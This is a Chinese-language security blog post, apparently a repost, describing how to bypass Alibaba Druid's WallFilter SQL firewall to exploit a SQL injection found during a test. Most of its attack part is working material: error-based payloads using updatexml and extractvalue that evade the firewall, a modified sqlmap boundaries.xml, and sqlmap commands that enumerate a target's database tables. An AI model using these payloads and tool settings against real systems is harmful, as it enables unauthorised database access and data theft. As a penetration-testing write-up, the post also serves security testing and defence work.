暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Druid-WallFilter sql防火墙绕过浅析

SafeTime 2022-12-08
4293

注:本文针对xm17大佬遇到的实际场景进行补充。

  • 问题场景

在测试中,遇到了一个sql注入,注入点出现在查询语句中,通过报错信息得知,sql语句如下:

    select * from http_sequence_log t where t.pguid like '%${pguid}%' and
    replace(pguid,'-','')
    复制

    遇到这种基本上闭合加报错一笔带过就OK了 但是呢,报错,提示sql注入,sql查询语句中包含恒为假的条件

    sql injection violation, part alway false condition not allow

    • 漏洞判定

    通过注入点判断,确定当前确实存在sql注入漏洞

    报错:guid=12'and 1-user='

    正常:guid=12'and 1-user()='

    sqlmap直接跑,发现无法识别出当前注入点。经过搜索发现是druid的sql防火墙拦截导致的。

    • 漏洞利用

    参考链接:

    https://mp.weixin.qq.com/s/lGalf63VXCva2I5BpmSMgQ  

    在本地搭建环境后,测试出的payload可以绕过 。

      12' or updatexml(1,concat(0x7e,user(),0x7e),1) ='1
      复制

      • 扩展

      同理可以得出以下payload

        'or+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1


        同理 &&和||也可以
        %26%26updatexml(1,concat(0x7e,(select+user()),0x7e),1)='1
        复制

        • 解决sqlmap无法注入

        我们发现sqlmap无法识别此注入点,主要是因为无法闭合后面的sql语句中的%'

        那我们就自己添加一组闭合方式。

        修改sqlmap配置文件“sqlmap\data\xml\boundaries.xml”新增或者只保留此一种闭合方式。

          <?xml version="1.0" encoding="UTF-8"?>


          <root>
          <!-- Generic boundaries -->
          <boundary>
          <level>1</level>
          <clause>1</clause>
          <where>1</where>
          <ptype>1</ptype>
          <prefix>'</prefix>
          <suffix>='</suffix>
          </boundary>

          </root>


          复制

          直接sqlmap跑,发现可以成功盲注,但是太慢了

            sqlmap.py -u "http://192.168.3.202:8080/monitorLog?guid=12" --dbms="mysql" -v 3
            复制

            我们可以强制让sqlmap走报错注入模式,速度瞬间飞起:

              sqlmap.py -u "http://192.168.3.202:8080/monitorLog?guid=12*" --technique=E -v 3 --tables -D "apimonitor"
              复制

              • 备注:

              druid的sql防火墙对应的类路径为:com\alibaba\druid\wall\WallFilter.java

              引入配置文件

              黑名单展示:


              文章转载自SafeTime,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

              评论